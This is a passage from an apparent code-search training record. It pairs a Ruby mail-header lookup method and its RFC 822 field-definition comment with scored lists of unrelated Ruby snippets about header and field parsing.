"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def set_fields(fields)\n fields.each_pair do |name, value|\n set_field(name, value)\n end\n fields\n end",
"def get_fields(fbe_value, fbe_struct_size)\n fbe_current_size = 4 + 4\n\n if (fbe_current_size + currency.fbe_size) <= fbe_struct_size\n fbe_value.currency = currency.get\n else\n fbe_value.currency = ''\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += currency.fbe_size\n\n if (fbe_current_size + amount.fbe_size) <= fbe_struct_size\n fbe_value.amount = amount.get(0.0)\n else\n fbe_value.amount = 0.0\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += amount.fbe_size\n end",
"def http_header(field=nil, value=nil)\n @_http_header ||= {}\n @_http_header[field] = value if field\n @_http_header\n end",
"def init_fields(args={})\n args[:type] = @int32.new(args[:type] || PcapNG::EPB_TYPE.to_i)\n args[:block_len] = @int32.new(args[:block_len] || MIN_SIZE)\n args[:interface_id] = @int32.new(args[:interface_id] || 0)\n args[:tsh] = @int32.new(args[:tsh] || 0)\n args[:tsl] = @int32.new(args[:tsl] || 0)\n args[:cap_len] = @int32.new(args[:cap_len] || 0)\n args[:orig_len] = @int32.new(args[:orig_len] || 0)\n args[:data] = StructFu::String.new(args[:data] || '')\n args[:options] = StructFu::String.new(args[:options] || '')\n args[:block_len2] = @int32.new(args[:block_len2] || MIN_SIZE)\n args\n end",
"def required_fields=(arr) # :nodoc:\n @required_fields = transform_fields('required_fields',arr)\n end",
"def store_print_headers #:nodoc:\n record = 0x002a # Record identifier\n length = 0x0002 # Bytes to follow\n\n fPrintRwCol = @print_headers # Boolean flag\n\n header = [record, length].pack(\"vv\")\n data = [fPrintRwCol].pack(\"v\")\n\n prepend(header, data)\n end"
] |
[
"0.6972926",
"0.6778327",
"0.63652045",
"0.6348624",
"0.6311162",
"0.6091288",
"0.60877717",
"0.60778505",
"0.5917039",
"0.5774508",
"0.5772151",
"0.5756259",
"0.57452345",
"0.5733866",
"0.57329214",
"0.5731396",
"0.57252806",
"0.571624",
"0.57137054",
"0.5713058",
"0.5710831",
"0.570745",
"0.56528",
"0.5650988",
"0.5650792",
"0.5611589",
"0.56097126",
"0.56050587",
"0.55957115",
"0.5591694",
"0.55883515",
"0.5584842",
"0.55715746",
"0.55629903",
"0.55625784",
"0.5545848",
"0.55393964",
"0.5535966",
"0.5531007",
"0.5515124",
"0.549955",
"0.54962707",
"0.5487157",
"0.5486705",
"0.5481919",
"0.54717326",
"0.54654646",
"0.54641837",
"0.5462324",
"0.54591566",
"0.5455434",
"0.5453663",
"0.54449517",
"0.5444273",
"0.54388624",
"0.543528",
"0.54318386",
"0.54141897",
"0.5395929",
"0.5384963",
"0.5382828",
"0.5380243",
"0.53772116",
"0.53697085",
"0.5368487",
"0.5367782",
"0.5366549",
"0.5355509",
"0.5352314",
"0.5348028",
"0.5347704",
"0.53436565",
"0.53387403",
"0.5327949",
"0.53133965",
"0.5307397",
"0.5298709",
"0.52951103",
"0.5291955",
"0.5266845",
"0.5266244",
"0.52636564",
"0.52625656",
"0.5257298",
"0.5253989",
"0.5247704",
"0.5239257",
"0.52389705",
"0.522984",
"0.5229528",
"0.5229528",
"0.5229528",
"0.5229528",
"0.5229528",
"0.5227442",
"0.5227432",
"0.5224819",
"0.5216905",
"0.52059567",
"0.5200393"
] |
0.6145392
|
5
|
3.6. Field definitions The following table indicates limits on the number of times each field may occur in a message header as well as any special limitations on the use of those fields. An asterisk next to a value in the minimum or maximum column indicates that a special restriction appears in the Notes column. As per RFC, many fields can appear more than once, we will return a string of the value if there is only one header, or if there is more than one matching header, will return an array of values in order that they appear in the header ordered from top to bottom. Example: h = Header.new
|
def [](name)
name = dasherize(name)
name.downcase!
selected = select_field_for(name)
case
when selected.length > 1
selected.map { |f| f }
when !Utilities.blank?(selected)
selected.first
else
nil
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def header_fields\n header.fields\n end",
"def headers\n fields.map(&:name).map(&:to_sym)\n end",
"def getHeaderFieldNames\n\t\tend",
"def fields\n @fields = headers.map.with_index do |header, index|\n Field.new(header, row_data[index])\n end\n end",
"def header_fields\n IO.binread(@path, HEADER_SIZE, 0).unpack(\"N5C1\")\n end",
"def fields\n @fields ||= @raw_message[1]\n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n case h[:type]\n when :indexed\n buffer << integer(h[:name] + 1, rep[:prefix])\n when :changetablesize\n buffer << integer(h[:value], rep[:prefix])\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name] + 1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n buffer << string(h[:value])\n end\n\n # set header representation pattern on first byte\n fb = buffer.ord | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def header_fields\n @csv.headers\n end",
"def header(h, buffer = \"\")\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def monta_header\n # CAMPO TAMANHO VALOR\n # tipo do registro [1] 0\n # operacao [1] 1\n # literal remessa [7] REMESSA\n # brancos [16]\n # info. conta [20]\n # empresa mae [30]\n # cod. banco [3]\n # nome banco [15]\n # data geracao [6] formato DDMMAA\n # complemento registro [294]\n # num. sequencial [6] 000001\n \"01REMESSA #{info_conta}#{empresa_mae.format_size(30)}#{cod_banco}#{nome_banco}#{data_geracao}#{complemento}000001\"\n end",
"def header; message[:header]; end",
"def headers\n # units and source have to go last, so if we push in a new header, these go\n # at end\n @headers+['units','source']\n end",
"def getHeader() @header1 end",
"def validate_header!\n [:date, :from].each do |field|\n raise \"No '#{field}' header field provided\" unless self.send(field)\n end\n end",
"def header_length() 3 end",
"def record_header_redundant_additional(header, cursor)\n lengths = []\n nulls = []\n externs = []\n\n field_offsets = record_header_redundant_field_end_offsets(header, cursor)\n\n this_field_offset = 0\n field_offsets.each do |n|\n case header.offset_size\n when 1\n next_field_offset = (n & RECORD_REDUNDANT_OFF1_OFFSET_MASK)\n lengths << (next_field_offset - this_field_offset)\n nulls << ((n & RECORD_REDUNDANT_OFF1_NULL_MASK) != 0)\n externs << false\n when 2\n next_field_offset = (n & RECORD_REDUNDANT_OFF2_OFFSET_MASK)\n lengths << (next_field_offset - this_field_offset)\n nulls << ((n & RECORD_REDUNDANT_OFF2_NULL_MASK) != 0)\n externs << ((n & RECORD_REDUNDANT_OFF2_EXTERN_MASK) != 0)\n end\n this_field_offset = next_field_offset\n end\n\n # If possible, refer to fields by name rather than position for\n # better formatting (i.e. pp).\n if record_format\n header.lengths = {}\n header.nulls = []\n header.externs = []\n\n record_fields.each do |f|\n header.lengths[f.name] = lengths[f.position]\n header.nulls << f.name if nulls[f.position]\n header.externs << f.name if externs[f.position]\n end\n else\n header.lengths = lengths\n header.nulls = nulls\n header.externs = externs\n end\n end",
"def columns\n @header.to_a\n end",
"def monta_header\n # CAMPO TAMANHO VALOR\n # tipo do registro [1] 0\n # operacao [1] 1\n # literal remessa [7] REMESSA\n # Código do serviço [2] 01\n # cod. servico [15] COBRANCA\n # info. conta [20]\n # empresa mae [30]\n # cod. banco [3]\n # nome banco [15]\n # data geracao [6] formato DDMMAA\n # complemento registro [294]\n # num. sequencial [6] 000001\n \"01REMESSA01COBRANCA #{info_conta}#{empresa_mae.format_size(30).remove_accents}#{cod_banco}#{nome_banco}#{data_geracao}#{versao_layout}#{complemento}000001\"\n end",
"def header(buf)\n peek = buf.readbyte(0)\n\n header = {}\n header[:type], type = HEADREP.select do |t, desc|\n mask = (peek >> desc[:prefix]) << desc[:prefix]\n mask == desc[:pattern]\n end.first\n\n header[:name] = integer(buf, type[:prefix])\n if header[:type] != :indexed\n header[:name] -= 1\n\n if header[:name] == -1\n header[:name] = string(buf)\n end\n\n if header[:type] == :substitution\n header[:index] = integer(buf, 0)\n end\n\n header[:value] = string(buf)\n end\n\n header\n end",
"def headerlist; return ['X-MXL-NoteHash', 'X-MXL-Hash', 'X-MX-Bounce']; end",
"def arrange_representative_header header\n head={\"FIRST NAME\" => \"first_name\",\n \"LAST NAME\" => \"last_name\",\n \"EMAIL\" => \"email\",\n \"UIN\" => \"uin\",\n \"FULL ACADEMIC UNIT NAME\" => \"academic_unit_name\",\n \"COLLEGE\" => \"college\"\n }\n arranged_header=[]\n header.each do |k|\n arranged_header.push head[k]\n end\n return arranged_header\n end",
"def header(*values)\n if values.empty?\n @properties.fetch(:header) { [] }\n else\n (@properties[:header] ||= []) << values\n end\n end",
"def header(buf)\n peek = buf.getbyte\n buf.seek(-1, IO::SEEK_CUR)\n\n header = {}\n header[:type], type = HEADREP.select do |t, desc|\n mask = (peek >> desc[:prefix]) << desc[:prefix]\n mask == desc[:pattern]\n end.first\n\n header[:name] = integer(buf, type[:prefix])\n if header[:type] != :indexed\n header[:name] -= 1\n\n if header[:name] == -1\n header[:name] = string(buf)\n end\n\n if header[:type] == :substitution\n header[:index] = integer(buf, 0)\n end\n\n header[:value] = string(buf)\n end\n\n header\n end",
"def record_fields\n record_format.values_at(:key, :sys, :row).flatten.sort_by(&:position) if record_format\n end",
"def calculate_header\n headers = []\n height = 0\n @current_groups.each do |field, current_value|\n identifier_field = @sections[:groups][field.to_sym][:settings][:identifier_field] || nil\n value = ([email protected]_on_association(field).nil? and !identifier_field.nil?) ? @record.send(field.to_sym).send(identifier_field) : @record.send(field)\n\n if value != current_value\n reset_groups_values field\n\n headers << field.to_sym\n height += @sections[:groups][field.to_sym][:settings][:height] + @sections[:groups][field.to_sym][:settings][:posY]\n\n @current_groups[field] = value\n end\n end unless @current_groups.empty?\n\n [headers, height]\n end",
"def media_object_fields\n fields.select { |field| media_object_header?(field.header) }\n end",
"def record_header_compact_variable_lengths_and_externs(cursor, nulls)\n fields = (record_format[:key] + record_format[:row])\n\n lengths = {}\n externs = []\n\n # For each non-NULL variable-length field, the record header contains\n # the length in one or two bytes.\n fields.each do |f|\n next if !f.variable? || nulls.include?(f.name)\n\n len = cursor.read_uint8\n ext = false\n\n # Two bytes are used only if the length exceeds 127 bytes and the\n # maximum length exceeds 255 bytes (or the field is a BLOB type).\n if len > 127 && (f.blob? || f.data_type.width > 255)\n ext = (0x40 & len) != 0\n len = ((len & 0x3f) << 8) + cursor.read_uint8\n end\n\n lengths[f.name] = len\n externs << f.name if ext\n end\n\n [lengths, externs]\n end",
"def record_header(cursor)\n origin = cursor.position\n header = RecordHeader.new\n cursor.backward.name(\"header\") do |c|\n case page_header.format\n when :compact\n # The \"next\" pointer is a relative offset from the current record.\n header.next = c.name(\"next\") { origin + c.read_sint16 }\n\n # Fields packed in a 16-bit integer (LSB first):\n # 3 bits for type\n # 13 bits for heap_number\n bits1 = c.name(\"bits1\") { c.read_uint16 }\n header.type = RECORD_TYPES[bits1 & 0x07]\n header.heap_number = (bits1 & 0xfff8) >> 3\n when :redundant\n # The \"next\" pointer is an absolute offset within the page.\n header.next = c.name(\"next\") { c.read_uint16 }\n\n # Fields packed in a 24-bit integer (LSB first):\n # 1 bit for offset_size (0 = 2 bytes, 1 = 1 byte)\n # 10 bits for n_fields\n # 13 bits for heap_number\n bits1 = c.name(\"bits1\") { c.read_uint24 }\n header.offset_size = (bits1 & 1).zero? ? 2 : 1\n header.n_fields = (bits1 & (((1 << 10) - 1) << 1)) >> 1\n header.heap_number = (bits1 & (((1 << 13) - 1) << 11)) >> 11\n end\n\n # Fields packed in an 8-bit integer (LSB first):\n # 4 bits for n_owned\n # 4 bits for flags\n bits2 = c.name(\"bits2\") { c.read_uint8 }\n header.n_owned = bits2 & 0x0f\n header.info_flags = (bits2 & 0xf0) >> 4\n\n case page_header.format\n when :compact\n record_header_compact_additional(header, cursor)\n when :redundant\n record_header_redundant_additional(header, cursor)\n end\n\n header.length = origin - cursor.position\n end\n\n header\n end",
"def fields\n fc = FFI::MemoryPointer.new(:uint)\n rc = NWRFCLib.get_field_count(@desc, fc, @error)\n NWRFC.check_error(@error) if rc > 0\n fc = fc.read_uint\n fd = NWRFCLib::RFCFieldDesc.new\n # Make a list of field names\n fc.times.inject([]) {|array, index|\n rc = NWRFCLib.get_field_desc_by_index(@desc, index, fd.to_ptr, @error.to_ptr)\n NWRFC.check_error(@error) if rc > 0\n #@todo WARNING! our get_str method did not handle getting the name of the RESPTEXT parameter in STFC_DEEP_TABLE correctly\n # As a workaround, we use our read_string_dn method; do we need to use this elsewhere?\n #array << fd[:name].get_str.to_sym #<-The code with good intentions\n array << fd[:name].to_ptr.read_string_dn.uC.to_sym #<- Workaround; the way of the future?\n }\n end",
"def header_str\n @columns.collect {|c|\n if @table[c]\n #{}\"%#{@table[c][:size]}s\" % [@table[c][:name]]\n format_data(c, @table[c][:name])\n else\n nil\n end\n }.compact.join(' ')\n end",
"def find_fields rowname\n row = row_by_name(rowname)\n fields = (row ? row.fields : [])\n # fill fields with nil to match header length\n # say header=5 fields=2 fill=2 (skip rowname)\n fields.fill(nil,fields.size,header.size-1-fields.size)\n end",
"def method_missing(name, *args, &block)\n #:nodoc:\n # Only take the structured fields, as we could take _anything_ really\n # as it could become an optional field... \"but therin lies the dark side\"\n field_name = underscoreize(name).chomp(\"=\")\n if Mail::Field::KNOWN_FIELDS.include?(field_name)\n if args.empty?\n header[field_name]\n else\n header[field_name] = args.first\n end\n else\n super # otherwise pass it on\n end\n #:startdoc:\n end",
"def fields; h.fields; end",
"def name_max\n @header_data.read_int(HDR_MAXINDEX_)\n end",
"def write_header(primary_key, fields)\n # 5 == field_header + field_footer size\n total_size = fields.inject(0){|sum,field| sum += (field || '').size + 5}\n # 13 == record header + record footer\n total_size += 13\n @io.write [total_size, primary_key].pack(\"VV\") \n end",
"def rations_headers\n [['#', 'Title', 'Price', 'Quantity', 'Full Price']]\n end",
"def record_header_compact_additional(header, cursor)\n case header.type\n when :conventional, :node_pointer\n # The variable-length part of the record header contains a\n # bit vector indicating NULL fields and the length of each\n # non-NULL variable-length field.\n if record_format\n header.nulls = cursor.name(\"nulls\") { record_header_compact_null_bitmap(cursor) }\n header.lengths, header.externs = cursor.name(\"lengths_and_externs\") do\n record_header_compact_variable_lengths_and_externs(cursor, header.nulls)\n end\n end\n end\n end",
"def header\n self.mult_table.header_line.to_s + \"\\n\"\n end",
"def header\n header = \"%FDF-1.2\\n\\n1 0 obj\\n<<\\n/FDF << /Fields 2 0 R\"\n # /F\n header << \"/F (#{options[:file]})\" if options[:file]\n # /UF\n header << \"/UF (#{options[:ufile]})\" if options[:ufile]\n # /ID\n header << \"/ID[\" << options[:id].join << \"]\" if options[:id]\n header << \">>\\n>>\\nendobj\\n2 0 obj\\n[\"\n return header\n end",
"def header_space\n # The end of the supremum system record is the beginning of the space\n # available for user records.\n pos_user_records\n end",
"def get_display_field_header\n self.statement\n end",
"def get(field)\n @headers[field] || EMPTY\n end",
"def get_header_info\n @data.rewind\n \n #column_count_offset = 33, record_count_offset = 24, record_length_offset = 36\n @record_count, @data_offset, @record_length = data.read(HEADER_LENGTH).unpack(\"@24 I x4 I I\")\n @column_count = (@data_offset-400)/200\n end",
"def postmark_headers\n array = []\n header_fields.each do |field|\n key = field.name.downcase\n # @see https://github.com/wildbit/postmark-gem/blob/master/lib/postmark/message_extensions/mail.rb#L74\n # @see https://github.com/wildbit/postmark-gem/pull/36#issuecomment-22298955\n unless %w(from to cc bcc reply-to subject tag content-type date).include?(key) || (Array === field.value && field.value.size > 1)\n array << {'Name' => field.name, 'Value' => field.value}\n end\n end\n array\n end",
"def header_array\n @columns.collect {|c|\n if @table[c]\n @table[c][:name].to_s\n else\n \"\"\n end\n }.compact\n end",
"def fields=(unfolded_fields)\n @fields = Mail::FieldList.new\n Kernel.warn \"WARNING: More than #{self.class.maximum_amount} header fields; only using the first #{self.class.maximum_amount} and ignoring the rest\" if unfolded_fields.length > self.class.maximum_amount\n unfolded_fields[0..(self.class.maximum_amount-1)].each do |field|\n\n if field = Field.parse(field, charset)\n if limited_field?(field.name) && (selected = select_field_for(field.name)) && selected.any?\n selected.first.update(field.name, field.value)\n else\n @fields << field\n end\n end\n end\n\n end",
"def header\n @message.header\n end",
"def getHeaderFieldNames(schemaName)\n\t\tend",
"def header_length\n @header_length ||= DBF_HEADER_SIZE + columns.size * 32 + 1\n end",
"def [](field)\n a = @headers[downcased(field)] || return\n a.join(\", \")\n end",
"def get_fields\n FIELD_DESCS\n end",
"def fields; end",
"def fields; end",
"def fields; end",
"def headers\n rows.first\n end",
"def headers\n @headers ||= message.header_fields\n end",
"def headers\n columns.map(&:header)\n end",
"def default_field_lengths\n field_lengths = @headers ? @headers.inject({}) {|h,(k,v)| h[k] = String.size(v); h} :\n @fields.inject({}) {|h,e| h[e] = 1; h }\n @rows.each do |row|\n @fields.each do |field|\n len = String.size(row[field])\n field_lengths[field] = len if len > field_lengths[field].to_i\n end\n end\n field_lengths\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n if @name.nil?\n invalid_properties.push(\"invalid value for 'name', name cannot be nil.\")\n end\n\n if @name.to_s.length > 50\n invalid_properties.push(\"invalid value for 'name', the character length must be smaller than or equal to 50.\")\n end\n\n if !@header_title_caption.nil? && @header_title_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'header_title_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@header_terms_caption.nil? && @header_terms_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'header_terms_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@header_due_date_caption.nil? && @header_due_date_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'header_due_date_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@header_po_number_caption.nil? && @header_po_number_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'header_po_number_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@header_reference_caption.nil? && @header_reference_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'header_reference_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@header_account_caption.nil? && @header_account_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'header_account_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@header_tax_id_caption.nil? && @header_tax_id_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'header_tax_id_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@header_ship_to_caption.nil? && @header_ship_to_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'header_ship_to_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@serivce_header_ticket_number_caption.nil? && @serivce_header_ticket_number_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'serivce_header_ticket_number_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@service_header_company_name_caption.nil? && @service_header_company_name_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'service_header_company_name_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@service_header_summary_caption.nil? && @service_header_summary_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'service_header_summary_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@service_header_contact_name_caption.nil? && @service_header_contact_name_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'service_header_contact_name_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@service_header_detail_description_caption.nil? && @service_header_detail_description_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'service_header_detail_description_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@service_header_resolution_caption.nil? && @service_header_resolution_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'service_header_resolution_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@service_header_amount_caption.nil? && @service_header_amount_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'service_header_amount_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@service_header_billing_method_caption.nil? && @service_header_billing_method_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'service_header_billing_method_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@project_header_project_name_caption.nil? && @project_header_project_name_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'project_header_project_name_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@project_header_company_name_caption.nil? && @project_header_company_name_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'project_header_company_name_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@project_header_original_downpayment_caption.nil? && @project_header_original_downpayment_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'project_header_original_downpayment_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@project_header_contact_name_caption.nil? && @project_header_contact_name_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'project_header_contact_name_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@project_header_amount_caption.nil? && @project_header_amount_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'project_header_amount_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@project_header_billing_method_caption.nil? && @project_header_billing_method_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'project_header_billing_method_caption', the character length must be smaller than or equal to 50.\")\n end\n\n if !@project_header_billing_type_caption.nil? && @project_header_billing_type_caption.to_s.length > 50\n invalid_properties.push(\"invalid value for 'project_header_billing_type_caption', the character length must be smaller than or equal to 50.\")\n end\n\n return invalid_properties\n end",
"def field_names\n internal_format.keys\n end",
"def header= h\n @header = if h.is_a? Numeric\n self[h]\n else\n h\n end\n end",
"def getHeader()\n header = \"\"\n\n appendStr(header, \"time\")\n appendStr(header, \"seqno\")\n $cmd_list.each do | name, cmd, type |\n appendStr(header, name)\n end\n return header\nend",
"def [](field)\n @header[field.capitalize]\n end",
"def header(format, ntrks, division)\n end",
"def field_names\n fields.keys\n end",
"def header\n @sfntVersion, @numTables, *rest = @bytes[0, 4 + 2 + 2 + 2 + 2].unpack('Nnnnn')\n end",
"def header(buf)\n peek = buf.readbyte(0)\n\n header = {}\n header[:type], type = HEADREP.find do |_t, desc|\n mask = (peek >> desc[:prefix]) << desc[:prefix]\n mask == desc[:pattern]\n end\n\n fail CompressionError unless header[:type]\n\n header[:name] = integer(buf, type[:prefix])\n\n case header[:type]\n when :indexed\n fail CompressionError if (header[:name]).zero?\n header[:name] -= 1\n when :changetablesize\n header[:value] = header[:name]\n else\n if (header[:name]).zero?\n header[:name] = string(buf)\n else\n header[:name] -= 1\n end\n header[:value] = string(buf)\n end\n\n header\n end",
"def header_an\n @record['Header']['An'].to_s\n end",
"def parse_rfc822_header(input)\n headers = Hash.new\n previous = nil\n input.each_line do |line|\n line = line.chomp\n break if line.empty? # Stop at first blank line\n case line\n when /^([^: \\t]+):\\s+(.*)$/\n raise \"Multiple definitions of header '#{$1}'.\" if headers.has_key?($1)\n headers[previous = $1] = $2\n when /^\\s+(.*)$/\n if not previous.nil? and headers.has_key?(previous)\n headers[previous] << \"\\n\" + $1.lstrip\n else\n raise \"Invalid header continuation.\"\n end\n else\n raise \"Invalid header format.\"\n end\n end\n return headers.empty? ? nil : headers\nend",
"def headers\n schema.headers\n end",
"def headers\n schema.headers\n end",
"def headers\n schema.headers\n end",
"def fields\n @fields ||= []\n end",
"def parse_header(io)\n\t variable_name = nil\n\t parse_pairs io do |code, value|\n\t\tcase code\n\t\t when '0' then next\n\t\t when '9'\n\t\t\tvariable_name = value\n\t\t else\n\t\t\theader[variable_name] = value\n\t\tend\n\t end\n\tend",
"def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end",
"def record_header_redundant_field_end_offsets(header, cursor)\n header.n_fields.times.map do |n|\n cursor.name(\"field_end_offset[#{n}]\") { cursor.read_uint_by_size(header.offset_size) }\n end\n end",
"def column_headings\n {\n :line_count => \"Lines\",\n :loc_count => \"LOC\",\n :file_count => \"Classes\",\n :method_count => \"Methods\",\n :average_methods => \"M/C\",\n :method_length => \"LOC/M\",\n :class_length => \"LOC/C\"\n }\n end",
"def validate_headers\n raise UnknownDataField, unknown_headers.join(',') if unknown_headers.present?\n end",
"def dummy_header(length)\n return (0...length).map{|i| %Q_X#{i.to_s.rjust(length.to_s.length, \"0\")}_}\nend",
"def alize_fields(inverse)\n if inverse.is_a?(Head)\n [:size]\n else\n [:id]\n end\n end",
"def headers\n schema.headers\n end",
"def fields\n @fields ||= []\n end",
"def get_field_names(template)\n read(template).fields.map{|f| f.name}\n end",
"def fil_header\n @fil_header ||= cursor(pos_fil_header).name(\"fil_header\") do |c|\n {\n :checksum => c.name(\"checksum\") { c.get_uint32 },\n :offset => c.name(\"offset\") { c.get_uint32 },\n :prev => c.name(\"prev\") {\n Innodb::Page.maybe_undefined(c.get_uint32)\n },\n :next => c.name(\"next\") {\n Innodb::Page.maybe_undefined(c.get_uint32)\n },\n :lsn => c.name(\"lsn\") { c.get_uint64 },\n :type => c.name(\"type\") { PAGE_TYPE_BY_VALUE[c.get_uint16] },\n :flush_lsn => c.name(\"flush_lsn\") { c.get_uint64 },\n :space_id => c.name(\"space_id\") { c.get_uint32 },\n }\n end\n end",
"def headerlist; return ['X-ZohoMail']; end",
"def header\n return @message.header\n end",
"def table_headers\n [\"Description\", \"Qty\", \"VAT\", \"Amount\"]\n end",
"def maximum_header_size\n super\n end",
"def maximum_header_size\n super\n end",
"def header\n return @header\n end",
"def PcbElementHeader(flags, desc, name, value, mx, my, tx, ty, tdir, tscale, tflags)\n _SFlags = %Q(\"#{flags}\")\n _Desc = %Q(\"#{desc}\")\n _Name = %Q(\"#{name}\")\n _Value = %Q(\"#{value}\")\n _MX = mx.round\n _MY = my.round\n _TX = tx.round\n _TY = ty.round\n _TDir = tdir.round\n _TScale = tscale.round\n _TSFlags = %Q(\"#{tflags}\")\n %Q(Element[#{_SFlags} #{_Desc} #{_Name} #{_Value} #{_MX} #{_MY} #{_TX} #{_TY} #{_TDir} #{_TScale} #{_TSFlags}]\\n)\nend",
"def readable_emails header\n\t\taddresses_in(header).join(\", \") rescue nil\n\tend",
"def journal_title_fields\n []\n end",
"def read_header(fp)\n tags = Support::HexString.from_bin(fp.read(1)).ord\n type = (tags & 0x70) >> 4\n size = tags & 0xF\n shift = 4\n while tags & 0x80 > 0\n tags = Support::HexString.from_bin(fp.read(1)).ord\n size += (tags & 0x7F) << shift\n shift += 7\n end\n [type, size]\n end",
"def field_names\n (text_fields + html_fields + atom_fields + datetime_fields +\n number_fields + geo_fields).uniq\n end",
"def contents_fields\n []\n end",
"def grab_header\n return @header if (@header and [email protected]?)\n @file.rewind\n fields.each_with_index do |field_name, i|\n @header[i]= field_name.strip\n end\n @header\n end",
"def data_column_info_for_columnheader(columnheader)\r\n method_index = method_index_for_columnheader(columnheader)\r\n\r\n data_header_ch = {}\r\n data_header_ch[:columnheader] = columnheader\r\n data_header_ch[:columnnr] = 1 + columnheaders_raw.index(columnheader)\r\n\r\n if method_index.nil? # columnheader does not appear in the method sheet\r\n data_header_ch[:definition] = columnheader\r\n else\r\n data_header_ch[:definition] = Array(data_description_sheet.column(*WBF[:column_definition_col]))[method_index].blank? ? columnheader : clean_string(Array(data_description_sheet.column(*WBF[:column_definition_col]))[method_index])\r\n data_header_ch[:unit] = clean_string(Array(data_description_sheet.column(*WBF[:column_unit_col]))[method_index])\r\n data_header_ch[:comment] = clean_string(Array(data_description_sheet.column(*WBF[:column_keywords_col]))[method_index])\r\n data_header_ch[:import_data_type] = clean_string(Array(data_description_sheet.column(*WBF[:group_methodvaluetype_col]))[method_index])\r\n end\r\n\r\n return data_header_ch\r\n\r\n end",
"def headers\n @headers ||= next_row\n end",
"def fields\n []\n end"
] |
[
"0.66339946",
"0.6013901",
"0.578894",
"0.5701452",
"0.56986225",
"0.568778",
"0.56282765",
"0.5618912",
"0.55824393",
"0.55448014",
"0.55355936",
"0.5534247",
"0.550896",
"0.5448223",
"0.5447678",
"0.5438937",
"0.54268557",
"0.5405288",
"0.5404703",
"0.54024756",
"0.5383236",
"0.53801656",
"0.5335226",
"0.5322406",
"0.5320006",
